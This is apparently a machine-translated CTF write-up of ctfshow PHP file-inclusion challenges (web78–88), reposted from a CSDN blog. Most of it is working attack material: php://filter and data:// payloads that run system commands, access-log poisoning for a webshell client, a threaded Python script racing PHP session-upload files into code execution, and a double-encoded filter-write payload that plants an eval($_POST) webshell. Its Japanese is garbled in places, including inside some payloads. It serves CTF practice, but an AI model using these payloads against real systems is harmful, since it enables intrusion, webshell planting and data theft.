ctfshow_fileに含まれるもの

WEB78

何も話すことはありません

ペイロード:?file = php://filter/read=convert.base64-encode/resource=falg.php

web79

if(isset($_GET['file'])){
    
    
    $file = $_GET['file'];
    $file = str_replace("php", "???", $file);
    include($file);
}else{
    
    
    highlight_file(__FILE__);
}

最初にソースコードを見てみ
ましょう。PHPがフィルタリングされているため、以前のペイロードは使用できなくなりました。ここでは、メソッドを直接変更します。参考記事:https//www.freebuf.com/column/148886.html
はこの文を使用しています

ペイロード:?file = data:// text / plain; base64、PD9waHAgcGhwaW5mbygpPz4 =

ここに画像の説明を挿入

実行できることがわかったら、別のコマンドを実行して実行します。
ここには落とし穴があります。つまり、ラベルを閉じることができません。<?php system( 'cat flag.php');

ペイロード:?file = data:// text / plain; base64、PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs =

web80

if(isset($_GET['file'])){
    
    
    $file = $_GET['file'];
    $file = str_replace("php", "???", $file);
    $file = str_replace("data", "???", $file);
    include($file);
}else{
    
    
    highlight_file(__FILE__);
}

ローカルに含まれている参照記事

ログgetshell

user_Agent antsword
ここに画像の説明を挿入接続を変更するためのパケットをキャプチャします

データプロトコル間でincludeを使用することはできません。open_basedirをバイパスする必要があります

コマンド実行の7つの姿勢を実現するための参照リンクphp疑似プロトコル

/var/log/nginx/access.log

web81

80と同じものもログに含まれます。

web82_86

スクリプトを直接強制終了します

import io
import requests
import threading

sessID = 'flag'
url = 'http://296b5d26-334c-4459-b7a6-b16db5aad264.challenge.ctf.show:8080/'

# 1.设置信号
# 使用Event的set()方法可以设置Event对象内部的信号标志为真。Event对象提供了isSet()方法来判断其内部信号标志的状态,当使用event对象的set()方法后,isSet()方法返回真.

def write(session):
    while event.isSet():
        f = io.BytesIO(b'a' * 1024 * 50)
        response = session.post(
            url,
            cookies={
    
    'PHPSESSID': sessID},
            data={
    
    'PHP_SESSION_UPLOAD_PROGRESS': '<?php system("cat *.php");?>'},
            files={
    
    'file': ('test.txt', f)}
        )


def read(session):
    while event.isSet():
        response = session.get(url + '?file=/tmp/sess_{}'.format(sessID))
        if 'test' in response.text:
            print(response.text)
            event.clear()
        else:
            print('[*]retrying...')


if __name__ == '__main__':
    event = threading.Event()
    event.set()
    with requests.session() as session:
        for i in range(1, 30):
            threading.Thread(target=write, args=(session,)).start()

        for i in range(1, 30):
            threading.Thread(target=read, args=(session,)).start()

WEB87

参照リンク

さまざまな変数がバイパスするために死にます。

if(isset($_GET['file'])){
    
    
    $file = $_GET['file'];
    $content = $_POST['content'];
    $file = str_replace("php", "???", $file);
    $file = str_replace("data", "???", $file);
    $file = str_replace(":", "???", $file);
    $file = str_replace(".", "???", $file);
    file_put_contents(urldecode($file), "<?php die('大佬别秀了');?>".$content);

    
}else{
    
    
    highlight_file(__FILE__);
}

Base64はバイパスできます/
phpdieが正確に6バイトであり、さらに2が4の倍数であり、bse64でデコードできます。
構築物の
PHP://filter/write=convert.base64-decode/resource=1.php
二回エンコード後のURL

payload
file=%25%37%30%25%36%38%25%37%30%25%33%61%25%32%66%25%32%66%25%36%36%25%36%39%25%36%63%25%37%34%25%36%35%25%37%32%25%32%66%25%37%37%25%37%32%25%36%39%25%37%34%25%36%35%25%33%64%25%36%33%25%36%66%25%36%65%25%37%36%25%36%35%25%37%32%25%37%34%25%32%65%25%36%32%25%36%31%25%37%33%25%36%35%25%33%36%25%33%34%25%32%64%25%36%34%25%36%35%25%36%33%25%36%66%25%36%34%25%36%35%25%32%66%25%37%32%25%36%35%25%37%33%25%36%66%25%37%35%25%37%32%25%36%33%25%36%35%25%33%64%25%33%31%25%32%65%25%37%30%25%36%38%25%37%30

content = aaPD9waHAgQGV2YWwoJF9QT1NUWzFdKTs / Pg == php:// filter
ここに画像の説明を挿入
ここに画像の説明を挿入
ここに画像の説明を挿入
の使用
、php:// filterの魔法について話します

web88

if(isset($_GET['file'])){
    
    
    $file = $_GET['file'];
    if(preg_match("/php|\~|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\_|\+|\=|\./i", $file)){
    
    
        die("error");
    }
    include($file);
}else{
    
    
    highlight_file(__FILE__);
}

1.フィルタリング済み。ファイルの疑似プロトコルは使用できません
。2。phpphp://プロトコルはフィルタリングされています。プロトコルは使用できません
。3。絶対パスは不明です。zip://&bzip2://& zlib://プロトコル
4.フィルタリングなし。\\ data://プロトコル
ペイロードを使用できます(=記号はフィルタリングされているため、削除することを忘れないでください)。

?file = data:// text / plain; base64、PD9waHAgc3lzdGVtKCdjYXQgZionKTsgPz4
ここに画像の説明を挿入

参考記事では、データ疑似プロトコルを使用して、フィルタリングする括弧とバッククォートをバイパスしています

おすすめ

転載: blog.csdn.net/qq_45951598/article/details/115058013